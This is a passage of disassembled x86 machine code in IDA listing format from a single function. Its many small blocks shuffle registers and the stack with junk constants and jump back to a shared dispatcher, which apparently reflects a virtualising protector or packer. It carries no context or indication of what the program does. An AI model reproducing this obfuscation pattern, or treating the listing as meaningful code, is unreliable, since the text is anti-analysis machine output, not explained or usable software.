		sub	ecx, 39226D51h
		pop	edi
		xor	ecx, [esp+92h+var_94+2]
		xor	[esp+92h+var_94+2], ecx
		jmp	loc_5CAA7A
; ---------------------------------------------------------------------------


loc_5C3243:				; CODE XREF: sub_5A55E5+2E65Cj
		pop	esp
		mov	[esp+8Eh+var_90+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 2
		push	eax
		mov	eax, 322068D4h
		sub	eax, 1
		jmp	loc_5C48BC
; ---------------------------------------------------------------------------


loc_5C3263:				; CODE XREF: sub_5A55E5+27439j
		sub	esi, ebp
		push	eax
		jmp	loc_5C5909
; ---------------------------------------------------------------------------


loc_5C326B:				; CODE XREF: sub_5A55E5+28A29j
		or	edx, eax
		jmp	loc_5D3803
; ---------------------------------------------------------------------------


loc_5C3272:				; CODE XREF: sub_5A55E5+22F40j
		push	[esp+9Ah+var_9C+2]
		jmp	loc_5D1DFF
; ---------------------------------------------------------------------------


loc_5C327A:				; CODE XREF: sub_5A55E5+29B91j
		pop	eax
		pop	[esp+9Ah+var_9C+2]
		pop	esp
		mov	[esp+92h+var_94+2], ebx
		mov	ebx, 7DCF3A9Ah
		push	ebp
		mov	ebp, 625271DCh
		and	ebp, 0BA74E03h
		jmp	loc_5C3613
; ---------------------------------------------------------------------------


loc_5C3298:				; CODE XREF: sub_5A55E5+1E077j
		add	ecx, 4
		xchg	ecx, [esp+96h+var_98+2]
		pop	esp
		sub	esp, 4
		jmp	loc_5CB70D
; ---------------------------------------------------------------------------


loc_5C32A7:				; CODE XREF: sub_5A55E5+1FDD6j
		xor	eax, [esp+96h+var_98+2]
		xor	[esp+96h+var_98+2], eax
		jmp	loc_5D0D20
; ---------------------------------------------------------------------------


loc_5C32B2:				; CODE XREF: sub_5A55E5+2DFA7j
		pop	ecx
		xchg	edi, [esp+92h+var_94+2]
		mov	esp, [esp+92h+var_94+2]
		push	esi
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], eax
		push	620112BFh
		pop	eax
		add	eax, 62BB1988h
		push	3E04h
		mov	[esp+9Eh+var_A0+2], edx
		push	esi
		mov	esi, 1E6C59DFh
		jmp	loc_5CD35A
; ---------------------------------------------------------------------------


loc_5C32DE:				; CODE XREF: sub_5A55E5+1CCCAj
		sub	ebp, 0FF6772FCh
		jmp	loc_5CFB1F
; ---------------------------------------------------------------------------


loc_5C32E9:				; CODE XREF: sub_5A55E5+230C3j
		and	ebp, 7DB92A4Eh
		push	esi
		mov	esi, 11192846h
		xor	ebp, esi
		pop	esi
		push	ebp
		add	[esp+74h+var_74], 4133086Dh
		jmp	loc_5CD110
; ---------------------------------------------------------------------------


loc_5C3305:				; CODE XREF: sub_5A55E5+2E515j
		push	[esp+74h+var_74]
		pop	ebp
		push	13Bh
		mov	[esp+78h+var_78], ebx
		jmp	loc_5CDBF5
; ---------------------------------------------------------------------------


loc_5C3316:				; CODE XREF: sub_5A55E5+1C374j
		add	edi, 4
		sub	edi, 4
		jmp	loc_5CEB67
; ---------------------------------------------------------------------------


loc_5C3327:				; CODE XREF: sub_5A55E5+280C6j
		pop	esp
		jmp	loc_5C8478
; ---------------------------------------------------------------------------


loc_5C332D:				; CODE XREF: sub_5A55E5+2E3E4j
		add	edx, 4
		add	edx, 4
		jmp	loc_5C7343
; ---------------------------------------------------------------------------
		mov	eax, [esp+0A8h+var_A8]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_5C7B70
; ---------------------------------------------------------------------------


loc_5C334F:				; CODE XREF: sub_5A55E5+210D8j
		add	[esp+0B0h+var_AC], edx
		add	[esp+0B0h+var_AC], 3AE65CA5h
		jmp	loc_5CDEC0
; ---------------------------------------------------------------------------


loc_5C3360:				; CODE XREF: sub_5A55E5+25327j
		add	esp, 4
		push	edi
		jmp	loc_5C6010
; ---------------------------------------------------------------------------


loc_5C336C:				; CODE XREF: sub_5A55E5+2E14Aj
		shr	ebx, 7
		jmp	loc_5C1A79
; ---------------------------------------------------------------------------


loc_5C3374:				; CODE XREF: sub_5A55E5+29CD8j
		add	eax, ecx
		jmp	loc_5CFE24
; ---------------------------------------------------------------------------


loc_5C337B:				; CODE XREF: sub_5A55E5+1F18Fj
		pop	esp
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C3381:				; CODE XREF: sub_5A55E5+2AAFCj
		sub	edi, 8D57A92h
		mov	eax, [esp+0ACh+var_AC]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0B0h+var_B0]
		mov	esp, [esp+0B0h+var_B0]
		push	ebp
		push	eax
		push	57610F97h
		pop	eax
		jmp	loc_5CF7A7
; ---------------------------------------------------------------------------


loc_5C33A9:				; CODE XREF: sub_5A55E5+21524j
		mov	[esp+0B8h+var_B8], esi
		jmp	loc_5CA849
; ---------------------------------------------------------------------------


loc_5C33B1:				; CODE XREF: sub_5A55E5+2667Dj
		pop	ebp
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C33B7:				; CODE XREF: sub_5A55E5+25975j
		pop	esp
		jmp	loc_5C1DAA
; ---------------------------------------------------------------------------


loc_5C33BD:				; CODE XREF: sub_5A55E5+233F7j
		mov	[esp+0B0h+var_B0], edi
		mov	edi, 1EBA3666h
		mov	eax, edi
		mov	edi, [esp+0B0h+var_B0]
		add	esp, 4
		neg	eax
		push	edx
		mov	edx, 5BA41E04h
		shr	edx, 6
		and	edx, 2F077514h
		xor	edx, 1FF36047h
		add	eax, edx
		jmp	loc_5D11DE
; ---------------------------------------------------------------------------


loc_5C33EE:				; CODE XREF: sub_5A55E5+1CB28j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C33FA:				; CODE XREF: sub_5A55E5+205EDj
		xor	ebx, [esp+5Ch+var_5C]
		xor	[esp+5Ch+var_5C], ebx
		xor	ebx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		push	ebx
		push	380A4525h
		pop	ebx
		xor	ecx, ebx
		pop	ebx
		push	ebx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5C1555
; ---------------------------------------------------------------------------


loc_5C341F:				; CODE XREF: sub_5A55E5+29FDEj
		mov	[esp+64h+var_64], edi
		push	ecx
		mov	ecx, 53BB677Ah
		mov	edi, 53BB677Eh
		jmp	loc_5C4D7C
; ---------------------------------------------------------------------------


loc_5C3432:				; CODE XREF: sub_5A55E5+27B9Aj
		add	ebx, edx
		add	ebx, 31735559h
		push	57Eh
		mov	[esp+6Ch+var_6C], edx
		push	ebx
		mov	bl, al
		mov	dh, bl
		pop	ebx
		mov	[ebx], dh
		pop	edx
		mov	ebx, [esp+68h+var_68]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	2C34h
		mov	[esp+70h+var_70], edi
		push	5863h
		mov	[esp+74h+var_74], ebp
		mov	ebp, 567D24D4h
		mov	edi, 0A982DB30h
		add	edi, ebp
		mov	ebp, [esp+74h+var_74]
		add	esp, 4
		add	ebp, 41FF0C87h
		add	ebp, edi
		jmp	loc_5D3B34
; ---------------------------------------------------------------------------


loc_5C3489:				; CODE XREF: sub_5A55E5+2CADAj
		pop	ecx
		push	edi
		mov	edi, 71316AE6h
		xor	edi, 171445F7h
		or	edi, 25B520A3h
		or	edi, 1B6F1F64h
		push	6B76h
		mov	[esp+74h+var_74], ebx
		mov	ebx, 233F5E13h
		add	ebx, 0DCC0A1EEh
		add	edi, ebx
		pop	ebx
		jmp	loc_5BF84E
; ---------------------------------------------------------------------------


loc_5C34BD:				; CODE XREF: sub_5A55E5+1BD4Dj
		pop	ecx
		push	esi
		mov	esi, esp
		push	2ED5h
		mov	[esp+0D0h+var_D0], eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_5CD190
; ---------------------------------------------------------------------------


loc_5C34D5:				; CODE XREF: sub_5A55E5+1BA4Dj
		mov	[esp+0A4h+var_A4], eax
		mov	eax, 39D1001Eh
		jmp	loc_5C8B2B
; ---------------------------------------------------------------------------


loc_5C34E2:				; CODE XREF: sub_5A55E5+2CDE9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0A8h+var_A8]
		pop	esp
		push	eax
		push	esi
		mov	esi, 10C30D80h
		jmp	loc_5C82D2
; ---------------------------------------------------------------------------


loc_5C34FE:				; CODE XREF: sub_5A55E5+2159Cj
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0ACh+var_AC]
		pop	esp
		mov	[esp+0A8h+var_A8], edx
		push	ebp
		jmp	loc_5D1401
; ---------------------------------------------------------------------------


loc_5C351B:				; CODE XREF: sub_5A55E5+277FEj
		add	edx, 452D59EEh
		push	eax
		mov	eax, 16334125h
		add	eax, 678F4A07h
		jmp	loc_5C91D5
; ---------------------------------------------------------------------------


loc_5C3531:				; CODE XREF: sub_5A55E5+25307j
		or	edi, 572516ABh
		neg	edi
		xchg	eax, edi
		dec	eax
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		add	edi, 35E35182h
		push	edx
		mov	edx, 96D77C97h
		sub	edi, 364964AFh
		add	edi, edx
		add	edi, 364964AFh
		jmp	loc_5CA403
; ---------------------------------------------------------------------------


loc_5C3560:				; CODE XREF: sub_5A55E5+1D971j
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5D259C
; ---------------------------------------------------------------------------


loc_5C356E:				; CODE XREF: sub_5A55E5+20D89j
		add	edi, 4
		push	1A87h
		mov	[esp+0A2h+var_A4+2], ecx
		mov	ecx, 54B24378h
		jmp	loc_5CC423
; ---------------------------------------------------------------------------


loc_5C3586:				; CODE XREF: sub_5A55E5+1EF01j
		pop	[esp+0A2h+var_A4+2]
		mov	esp, [esp+9Eh+var_A0+2]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C3598:				; CODE XREF: sub_5A55E5+2A866j
		push	ecx
		mov	ecx, edi
		mov	ebx, ecx
		pop	ecx
		pop	edi
		inc	ebx
		jmp	loc_5C38B7
; ---------------------------------------------------------------------------


loc_5C35A5:				; CODE XREF: sub_5A55E5+225DCj
		add	esp, 4
		pop	[esp+9Ch+var_9C]
		jmp	loc_5CA328
; ---------------------------------------------------------------------------


loc_5C35B3:				; CODE XREF: sub_5A55E5+1C71Ej
		mov	si, bx
		jmp	loc_5BFD92
; ---------------------------------------------------------------------------


loc_5C35BB:				; CODE XREF: sub_5A55E5+21381j
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		xor	ebx, 0C8E8E633h
		or	edi, ebx
		pop	ebx
		jmp	loc_5C64B7
; ---------------------------------------------------------------------------


loc_5C35CF:				; CODE XREF: sub_5A55E5+27AC2j
		xchg	edx, [esp+0B6h+var_B8+2]
		pop	esp
		jmp	loc_5C5927
; ---------------------------------------------------------------------------


loc_5C35D8:				; CODE XREF: sub_5A55E5+27C1Ej
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C35E4:				; CODE XREF: sub_5A55E5+23AD1j
		push	edi
		jmp	loc_5CD54C
; ---------------------------------------------------------------------------


loc_5C35EA:				; CODE XREF: sub_5A55E5+28074j
		sub	esi, 10515E88h
		not	esi
		or	esi, 70F85A9Ch
		dec	esi
		inc	esi
		xor	esi, 0B0E47500h
		add	ebx, esi
		pop	esi
		add	ebx, esi
		sub	ebx, 4A1C0BDCh
		push	[esp+0B8h+var_B8]
		jmp	loc_5C7A1F
; ---------------------------------------------------------------------------


loc_5C3613:				; CODE XREF: sub_5A55E5+1DCAEj
		not	ebp
		or	ebp, 52F18B5h
		push	edx
		mov	edx, 1BA244AEh
		add	ebp, edx
		jmp	loc_5C0D68
; ---------------------------------------------------------------------------


loc_5C3628:				; CODE XREF: sub_5A55E5+22D82j
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	esi, ebp
		pop	ebp
		xor	esi, [esp+96h+var_98+2]
		xor	[esp+96h+var_98+2], esi
		xor	esi, [esp+96h+var_98+2]
		pop	esp
		add	word ptr [esp+92h+var_94+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C3648:				; CODE XREF: sub_5A55E5+1A983j
		xor	esi, eax
		pop	eax
		xor	ebp, esi
		pop	esi
		push	ecx
		jmp	loc_5CE58B
; ---------------------------------------------------------------------------


loc_5C3654:				; CODE XREF: sub_5A55E5+2CE7Aj
		add	ecx, edi
		mov	edi, [esp+80h+var_80]
		add	esp, 4
		jmp	loc_5C3298
; ---------------------------------------------------------------------------


loc_5C3661:				; CODE XREF: sub_5A55E5+2824Ej
		mov	edi, 574D461Fh
		jmp	loc_5C1D86
; ---------------------------------------------------------------------------


loc_5C366B:				; CODE XREF: sub_5A55E5+24506j
		pop	ebx
		mov	bl, ah
		mov	eax, [esp+78h+var_78]
		jmp	loc_5C1E05
; ---------------------------------------------------------------------------


loc_5C3676:				; CODE XREF: sub_5A55E5+26589j
		add	esp, 4
		xor	eax, [esp+74h+var_74]
		xor	[esp+74h+var_74], eax
		xor	eax, [esp+74h+var_74]
		mov	esp, [esp+74h+var_74]
		jmp	loc_5C56C1
; ---------------------------------------------------------------------------


loc_5C368A:				; CODE XREF: sub_5A55E5+25F88j
		shr	ebp, 1
		neg	ebp
		jmp	loc_5CB2BB
; ---------------------------------------------------------------------------


loc_5C3693:				; CODE XREF: sub_5A55E5+1B56Cj
		xor	[esp+8Ah+var_8C+2], eax
		xor	eax, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		jmp	loc_5C783D
; ---------------------------------------------------------------------------


loc_5C36A1:				; CODE XREF: sub_5A55E5+2C77Aj
		and	eax, edx
		mov	edx, [esp+8Ah+var_8C+2]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 1C252EF4h
		sub	edx, 1982294Ch
		neg	edx
		inc	edx
		jmp	loc_5C3EDD
; ---------------------------------------------------------------------------


loc_5C36BD:				; CODE XREF: sub_5A55E5+27862j
		sub	ebx, 0C6011911h
		add	edx, 3CF476E5h
		sub	edx, ebx
		jmp	loc_5C44B0
; ---------------------------------------------------------------------------


loc_5C36D0:				; CODE XREF: sub_5A55E5+1CE7Aj
		add	ecx, eax
		pop	eax
		jmp	loc_5D3DCD
; ---------------------------------------------------------------------------


loc_5C36D8:				; CODE XREF: sub_5A55E5+29874j
		push	[esp+4Eh+var_4A]
		jmp	loc_5CC943
; ---------------------------------------------------------------------------


loc_5C36E1:				; CODE XREF: sub_5A55E5+24B81j
		sub	esp, 4
		mov	[esp+56h+var_58+2], edx
		mov	edi, [esp+56h+var_58+2]
		add	esp, 4
		push	[esp+52h+var_54+2]
		pop	edx
		add	esp, 4
		jmp	loc_5C27B4
; ---------------------------------------------------------------------------


loc_5C36FC:				; CODE XREF: sub_5A55E5+1C700j
		pop	ebp
		add	edx, 3AF71230h
		push	edi
		mov	edi, 0B5C7AE10h
		jmp	loc_5CA262
; ---------------------------------------------------------------------------


loc_5C370E:				; CODE XREF: sub_5A55E5+238A6j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+0B4h+var_B4]
		jmp	loc_5C2226
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0B4h+var_B4]
		push	2E8Dh
		mov	[esp+0B8h+var_B8], eax
		sub	esp, 4
		mov	[esp+0BCh+var_BC], esp
		push	eax
		jmp	loc_5C760A
; ---------------------------------------------------------------------------


loc_5C373F:				; CODE XREF: sub_5A55E5+1EBD1j
		push	ecx
		mov	ecx, 317E431Ah
		sub	esi, ecx
		jmp	loc_5C0060
; ---------------------------------------------------------------------------


loc_5C374C:				; CODE XREF: sub_5A55E5+1F113j
		add	edx, ecx
		sub	edx, 268E1C1Ah
		push	[esp+0C4h+var_C4]
		mov	ecx, [esp+0C8h+var_C8]
		add	esp, 4
		add	esp, 4
		jmp	loc_5C836C
; ---------------------------------------------------------------------------


loc_5C376B:				; CODE XREF: sub_5A55E5+29D24j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5D386C
; ---------------------------------------------------------------------------


loc_5C377E:				; CODE XREF: sub_5A55E5+2160Aj
		push	ebx
		jmp	loc_5C64E3
; ---------------------------------------------------------------------------


loc_5C3784:				; CODE XREF: sub_5A55E5+1F2ABj
		add	dl, 0BDh
		add	ah, dl
		pop	edx
		add	ah, 0F4h
		jmp	loc_5CC916
; ---------------------------------------------------------------------------


loc_5C3792:				; CODE XREF: sub_5A55E5+2753Fj
		pop	ecx
		push	1DBEh
		mov	[esp+0C0h+var_C0], edx
		push	[esp+0C0h+var_BC]
		pop	edx
		pop	[esp+0C0h+var_C0]
		mov	esp, [esp+0BCh+var_BC]
		push	2006h
		mov	[esp+0C0h+var_C0], ebp
		jmp	loc_5C102D
; ---------------------------------------------------------------------------


loc_5C37B3:				; CODE XREF: sub_5A55E5+2310Fj
		push	eax
		mov	eax, 60C461A4h
		or	eax, 35E86681h
		inc	eax
		shr	eax, 8
		push	6D9Dh
		mov	[esp+0C8h+var_C8], edi
		push	edx
		mov	edx, 251026Ah
		mov	edi, edx
		pop	edx
		add	eax, edi
		pop	edi
		jmp	loc_5D3447
; ---------------------------------------------------------------------------


loc_5C37DB:				; CODE XREF: sub_5A55E5+20CA7j
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 4EA87B2Bh
		shr	ebx, 3
		jmp	loc_5D05C6
; ---------------------------------------------------------------------------
		push	ebp
		push	4883h
		mov	[esp+0C8h+var_C8], edx
		push	edi
		mov	edi, 7D5B4ACAh
		sub	edi, 1
		push	edx
		mov	edx, 21D3685Ah
		xor	edi, edx
		pop	edx
		mov	edx, edi
		mov	edi, [esp+0CCh+var_CC]
		add	esp, 4
		xor	edx, 1E93269Ch
		jmp	loc_5D0B74
; ---------------------------------------------------------------------------


loc_5C3821:				; CODE XREF: sub_5A55E5+24AE9j
		sub	esp, 4
		mov	[esp+0CCh+var_CC], esi
		push	esp
		pop	esi
		push	eax
		push	ecx
		mov	ecx, 4BD1648h
		xor	ecx, 4BD164Ch
		mov	eax, ecx
		pop	ecx
		sub	esi, 14CC286Eh
		jmp	loc_5C7528
; ---------------------------------------------------------------------------


loc_5C3847:				; CODE XREF: sub_5A55E5+2B1FCj
		pop	eax
		jmp	loc_5CE826
; ---------------------------------------------------------------------------


loc_5C384D:				; CODE XREF: sub_5A55E5+1D374j
					; sub_5A55E5+1DA9Ej ...
		push	dword ptr [edi+24h]
		jmp	loc_5C6291
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C385D:				; CODE XREF: sub_5A55E5+2E265j
		push	ebp
		push	edx
		mov	edx, 243F6797h
		sub	edx, 6BC03EC6h
		push	ebx
		jmp	loc_5D0479
; ---------------------------------------------------------------------------


loc_5C3870:				; CODE XREF: sub_5A55E5+1A3FDj
		mov	ecx, 6D63493Bh
		jmp	loc_5CC866
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 5DC14F9Dh
		push	edx
		mov	edx, 0AC02F90h
		add	eax, edx
		pop	edx
		push	edx
		push	ecx
		mov	ecx, 7A23490Dh
		sub	ecx, 7D791072h
		xor	ecx, 0DFEE1062h
		push	ecx
		sub	esp, 4
		mov	[esp+64h+var_64], ebx
		mov	ebx, 0F3F2F5Fh
		xor	[esp+64h+var_60], ebx
		mov	ebx, [esp+64h+var_64]
		jmp	loc_5D3049
; ---------------------------------------------------------------------------


loc_5C38B7:				; CODE XREF: sub_5A55E5+1DFBBj
		add	ebx, 120E64B8h
		jmp	loc_5C8801
; ---------------------------------------------------------------------------


loc_5C38C2:				; CODE XREF: sub_5A55E5+2076Ej
		pop	ebp
		jmp	loc_5C8FE2
; ---------------------------------------------------------------------------


loc_5C38C8:				; CODE XREF: sub_5A55E5+2C415j
		sub	bl, al
		push	2A35h
		mov	[esp+0A0h+var_A0], ecx
		mov	ch, 0B2h
		jmp	loc_5C8701
; ---------------------------------------------------------------------------


loc_5C38D9:				; CODE XREF: sub_5A55E5+23E5Fj
		push	[esp+0A0h+var_A0]
		pop	edx
		jmp	loc_5CAE61
; ---------------------------------------------------------------------------


loc_5C38E2:				; CODE XREF: sub_5A55E5+2B52Ej
		mov	edi, 2
		add	eax, edi
		pop	edi
		xchg	eax, [esp+9Ch+var_9C]
		mov	esp, [esp+9Ch+var_9C]
		push	cx
		jmp	loc_5D1E25
; ---------------------------------------------------------------------------


loc_5C38F7:				; CODE XREF: sub_5A55E5+2D6ADj
		xor	ebx, 7B2846D0h
		push	ebx
		push	[esp+0A2h+var_A4+2]
		mov	esi, [esp+0A6h+var_A8+2]
		add	esp, 4
		add	esp, 4
		pop	ebx
		sub	edx, 71B332A6h
		add	edx, esi
		add	edx, 71B332A6h
		mov	esi, [esp+9Ah+var_9C+2]
		add	esp, 4
		xor	edx, [esp+96h+var_98+2]
		xor	[esp+96h+var_98+2], edx
		xor	edx, [esp+96h+var_98+2]
		mov	esp, [esp+96h+var_98+2]
		push	70A9h
		jmp	loc_5D2645
; ---------------------------------------------------------------------------
		push	[esp+9Ah+var_9C+2]
		push	[esp+9Eh+var_A0+2]
		pop	eax
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], edx
		mov	edx, esp
		jmp	loc_5D2B0D
; ---------------------------------------------------------------------------


loc_5C394F:				; CODE XREF: sub_5A55E5+28CECj
		mov	ebx, [esp+0A2h+var_A4+2]
		push	edi
		jmp	loc_5D39EB
; ---------------------------------------------------------------------------


loc_5C3958:				; CODE XREF: sub_5A55E5+24A0Fj
		mov	eax, edi
		push	[esp+0A6h+var_A8+2]
		mov	edi, [esp+0AAh+var_AC+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_5C8694
; ---------------------------------------------------------------------------


loc_5C396F:				; CODE XREF: sub_5A55E5+1C0BEj
		push	bx
		mov	bh, cl
		push	ecx
		mov	ch, 48h
		not	ch
		add	ch, 7Ch
		sub	ch, 44h
		add	ch, 10h
		add	bh, ch
		pop	ecx
		jmp	loc_5D2EE2
; ---------------------------------------------------------------------------


loc_5C3989:				; CODE XREF: sub_5A55E5+28BACj
		add	eax, edi
		push	0FE8h
		mov	[esp+0A0h+var_A0], ebp
		push	78467E72h
		pop	ebp
		add	eax, 68100298h
		add	eax, ebp
		sub	eax, 68100298h
		push	[esp+0A0h+var_A0]
		pop	ebp
		jmp	loc_5CE6FB
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A0h+var_A0]
		sub	esp, 4
		mov	[esp+0A4h+var_A4], edi
		push	59CCh
		push	esp
		pop	[esp+0ACh+var_AC]
		jmp	loc_5C6684
; ---------------------------------------------------------------------------


loc_5C39C6:				; CODE XREF: sub_5A55E5+2C00Fj
		push	43D0h
		mov	[esp+0ACh+var_AC], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 6DD3E6Fh
		sub	esi, 6DD3E6Bh
		sub	eax, esi
		pop	esi
		xchg	eax, [esp+0B0h+var_B0]
		mov	esp, [esp+0B0h+var_B0]
		mov	[esp+0B0h+var_B0], edi
		mov	edi, 1
		push	edx
		mov	edx, edi
		mov	esi, edx
		pop	edx
		push	[esp+0B0h+var_B0]
		pop	edi
		add	esp, 4
		jmp	loc_5C1B2D
; ---------------------------------------------------------------------------


loc_5C3A08:				; CODE XREF: sub_5A55E5+1B68Fj
		mov	[esp+9Ah+var_9C+2], esi
		jmp	loc_5CCDF1
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5C90BB
; ---------------------------------------------------------------------------


loc_5C3A18:				; CODE XREF: sub_5A55E5+2CE70j
		sub	al, dl
		sub	al, 5Ch
		jmp	loc_5D1D14
; ---------------------------------------------------------------------------


loc_5C3A21:				; CODE XREF: sub_5A55E5+1CD4Dj
		mov	edx, 4
		add	ecx, 24C903E7h
		sub	ecx, 6F4A3E32h
		add	ecx, edx
		add	ecx, 6F4A3E32h
		sub	ecx, 24C903E7h
		pop	edx
		push	ebx
		mov	ebx, 2B29424Dh
		shr	ebx, 3
		add	ebx, 0FA9AD7BBh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5C1F72
; ---------------------------------------------------------------------------


loc_5C3A58:				; CODE XREF: sub_5A55E5+2A548j
		sub	[esp+6Ah+var_6C+2], eax
		sub	esp, 4
		mov	[esp+6Eh+var_70+2], edi
		jmp	loc_5CDF50
; ---------------------------------------------------------------------------


loc_5C3A66:				; CODE XREF: sub_5A55E5+1B62Cj
		mov	ecx, [esp+8Eh+var_90+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4C580140h
		push	esi
		mov	esi, 4E7E217Eh
		inc	esi
		add	esi, 0FE8CEF2Eh
		sub	ebp, esi
		jmp	loc_5C2464
; ---------------------------------------------------------------------------


loc_5C3A8C:				; CODE XREF: sub_5A55E5+1D6F8j
		add	edx, ecx
		mov	ecx, [esp+90h+var_90]
		add	esp, 4
		push	edi
		mov	edi, 34271E0Eh
		push	ebx
		mov	ebx, 180D5FD1h
		add	edi, ebx
		pop	ebx
		add	edx, edi
		pop	edi
		jmp	loc_5CFDF7
; ---------------------------------------------------------------------------


loc_5C3AAE:				; CODE XREF: sub_5A55E5+2AFB5j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8Ch+var_8C]
		pop	esp
		push	edx
		mov	edx, 11730D5h
		inc	edx
		jmp	loc_5D1461
; ---------------------------------------------------------------------------


loc_5C3AC7:				; CODE XREF: sub_5A55E5+2582Aj
		dec	al
		not	al
		jmp	loc_5C6254
; ---------------------------------------------------------------------------


loc_5C3AD0:				; CODE XREF: sub_5A55E5+20406j
		add	[esp+8Ch+var_8C], 4
		pop	edx
		jmp	loc_5D2BAA
; ---------------------------------------------------------------------------


loc_5C3ADD:				; CODE XREF: sub_5A55E5+2BB7Bj
		mov	edx, 35AE8B32h
		jmp	loc_5CABF9
; ---------------------------------------------------------------------------


loc_5C3AE7:				; CODE XREF: sub_5A55E5+2B228j
		add	esp, 4
		shr	ecx, 8
		inc	ecx
		push	3636h
		mov	[esp+88h+var_88], esi
		mov	esi, 1
		add	ecx, 0BD83290h
		add	ecx, esi
		jmp	loc_5D1D6F
; ---------------------------------------------------------------------------


loc_5C3B0B:				; CODE XREF: sub_5A55E5+29373j
		mov	[esp+88h+var_88], ecx
		not	[esp+88h+var_88]
		mov	ecx, [esp+88h+var_88]
		add	esp, 4
		xor	edx, ecx
		jmp	loc_5D3D2E
; ---------------------------------------------------------------------------


loc_5C3B21:				; CODE XREF: sub_5A55E5+24C32j
		and	eax, 7FF738Dh
		dec	eax
		add	eax, 0FFBCAFFDh
		add	ebp, eax
		pop	eax
		push	eax
		push	edi
		mov	edi, 752C1AB1h
		jmp	loc_5CA575
; ---------------------------------------------------------------------------
		mov	esp, [esp+88h+var_88]
		jmp	loc_5C665B
; ---------------------------------------------------------------------------


loc_5C3B43:				; CODE XREF: sub_5A55E5+29E6Aj
		mov	edx, [esp+88h+var_88]
		push	6A8Eh
		mov	[esp+8Ch+var_8C], ecx
		push	72BFh
		jmp	loc_5D2E2D
; ---------------------------------------------------------------------------


loc_5C3B58:				; CODE XREF: sub_5A55E5+2CB84j
		pop	esp
		mov	[esp+8Ch+var_8C], edx
		mov	edx, esp
		jmp	loc_5CD348
; ---------------------------------------------------------------------------


loc_5C3B63:				; CODE XREF: sub_5A55E5+1B4CEj
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+86h+var_84+2]
		jmp	loc_5D38E9
; ---------------------------------------------------------------------------


loc_5C3B7D:				; CODE XREF: sub_5A55E5+24761j
		add	esi, ecx
		sub	esi, 477637D9h
		push	ebx
		jmp	loc_5D060A
; ---------------------------------------------------------------------------


loc_5C3B8B:				; CODE XREF: sub_5A55E5+1F9E4j
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_5CBDC9
; ---------------------------------------------------------------------------


loc_5C3B97:				; CODE XREF: sub_5A55E5+1C44Ej
		sub	dh, ah
		add	dh, 26h
		pop	eax
		jmp	loc_5D1562
; ---------------------------------------------------------------------------


loc_5C3BA2:				; CODE XREF: sub_5A55E5+29724j
		sub	esp, 4
		mov	[esp+0BAh+var_BC+2], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_5C7E3D
; ---------------------------------------------------------------------------


loc_5C3BB5:				; CODE XREF: sub_5A55E5+2689Bj
		push	[esp+0B6h+var_B8+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5CF506
; ---------------------------------------------------------------------------


loc_5C3BC1:				; CODE XREF: sub_5A55E5+2DB3Bj
		mov	[esp+0B2h+var_B4+2], edx
		mov	edx, 12970493h
		push	edi
		jmp	loc_5C9368
; ---------------------------------------------------------------------------


loc_5C3BCF:				; CODE XREF: sub_5A55E5+21FFDj
		xchg	ecx, [esp+0B6h+var_B8+2]
		pop	esp
		add	al, bl
		push	edx
		push	ecx
		mov	ch, 74h
		jmp	loc_5CA1D9
; ---------------------------------------------------------------------------


loc_5C3BDE:				; CODE XREF: sub_5A55E5+1C89Dj
		shl	ebp, 7
		dec	ebp
		sub	ebp, 5B2376E9h
		jmp	loc_5C97C9
; ---------------------------------------------------------------------------


loc_5C3BED:				; CODE XREF: sub_5A55E5+2045Dj
		add	edi, 86A7A2Bh
		jmp	loc_5C65A1
; ---------------------------------------------------------------------------


loc_5C3BF8:				; CODE XREF: sub_5A55E5+1F8BFj
